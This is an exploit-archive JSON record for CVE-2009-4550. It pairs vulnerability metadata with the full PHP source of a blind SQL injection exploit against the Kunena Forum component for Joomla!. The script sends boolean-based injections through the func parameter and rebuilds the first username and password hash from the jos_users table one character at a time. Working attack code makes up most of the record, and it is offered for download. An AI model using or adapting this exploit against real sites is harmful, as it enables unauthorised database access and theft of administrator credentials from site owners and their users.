{"exploit":{"id":"EDB-9408","name":"Joomla! Component Kunena Forums (com_kunena) - Blind SQL Injection (SQLi)","description":"Joomla! Component Kunena Forums (com_kunena) - Blind SQL Injection (SQLi)","cves":["CVE-2009-4550"],"author":"ilker Kandemir","published":"2009-08-10","platform":"php","type":"webapps","language":"PHP","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/9408","path":"exploits/php/webapps/9408.php","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-9408.php","vulnerabilities":[{"id":"CVE-2009-4550","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in the Kunena Forum (com_kunena) component 1.5.3 and 1.5.4 for Joomla! allows remote attackers to execute arbitrary SQL commands via the func parameter to index.php.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-4550","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-4550"},"updatedAt":"2024-08-07T07:08:38.188Z","retrievedAt":"2026-11-26T17:06:34.988Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-9408.png?v=2","url":"https://exploitbin.com/exploits/EDB-9408","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-9408/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-9408/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"<?php\nini_set(\"max_execution_time\",0);\nprint_r('\n##############################################################################\n#\n#         Joomla Kunena Forums (func) Blind SQL Injection Exploit\n#\n#                          MEFISTO  a.k.a  ilkerkandemir\n#                        mefisto [at] hackermail . com\n#                            (IMT) imhatimi.org\n#                         Usage: target.php [site][SQL]\n#\n##############################################################################\n');\nif ($argc > 1) {\n$url = $argv[1];\n$r = strlen(file_get_contents($url.\"+and+1=1--\"));\necho \"\\nExploiting:\\n\";\n$w = strlen(file_get_contents($url.\"+and+1=0--\"));\n$t = abs((100-($w/$r*100)));\necho \"Username: \";\nfor ($i=1; $i <= 30; $i++) {\n$laenge = strlen(file_get_contents($url.\"+and+ascii(substring((select+username+from+jos_users+limit+0,1),\".$i.\",1))!=0--\"));\n   if (abs((100-($laenge/$r*100))) > $t-1) {\n      $count = $i;\n      $i = 30;\n   }\n}\nfor ($j = 1; $j < $count; $j++) {\n   for ($i = 46; $i <= 122; $i=$i+2) {\n      if ($i == 60) {\n         $i = 98;\n      }\n      $laenge = strlen(file_get_contents($url.\"+and+ascii(substring((select+username+from+jos_users+limit+0,1),\".$j.\",1))%3E\".$i.\"--\"));\n      if (abs((100-($laenge/$r*100))) > $t-1) {\n         $laenge = strlen(file_get_contents($url.\"+and+ascii(substring((select+username+from+jos_users+limit+0,1),\".$j.\",1))%3E\".($i-1).\"--\"));\n         if (abs((100-($laenge/$r*100))) > $t-1) {\n            echo chr($i-1);\n         } else {\n            echo chr($i);\n         }\n         $i = 122;\n      }\n   }\n}\necho \"\\nPassword: \";\nfor ($j = 1; $j <= 49; $j++) {\n   for ($i = 46; $i <= 102; $i=$i+2) {\n      if ($i == 60) {\n         $i = 98;\n      }\n      $laenge = strlen(file_get_contents($url.\"+and+ascii(substring((select+password+from+jos_users+limit+0,1),\".$j.\",1))%3E\".$i.\"--\"));\n      if (abs((100-($laenge/$r*100))) > $t-1) {\n         $laenge = strlen(file_get_contents($url.\"+and+ascii(substring((select+password+from+jos_users+limit+0,1),\".$j.\",1))%3E\".($i-1).\"--\"));\n         if (abs((100-($laenge/$r*100))) > $t-1) {\n            echo chr($i-1);\n         } else {\n            echo chr($i);\n         }\n        $i = 122;\n      }\n   }\n}\n} else {\necho \"\\nExploiting Failed \\n\";\n}\n\n/*\nNote:\n<name>Kunena</name>\n<version>1.5.3</version>\n<versionname>Spreek</versionname>\n<creationDate>2009-06-15</creationDate>\n<build>1688</build>\n<author>www.Kunena.com</author>\n<authorEmail>Kunena@Kunena.com</authorEmail>\n<authorUrl>http://www.Kunena.com</authorUrl>\n<copyright>www.Kunena.com</copyright>\n<license>GNU/GPL</license>\n<description>Kunena Forum</description>\n*/\n?>\n\n# milw0rm.com [2009-08-10]","sha256":"39d31ecf59f41bd3bf06294e4a5dc1aadb97f0cdc127c7ef2a2ca9faebd51d94","bytes":2651,"fetchedAt":"2026-11-26T17:06:32.198Z","encoding":"utf-8 (display only; download retains original bytes)"}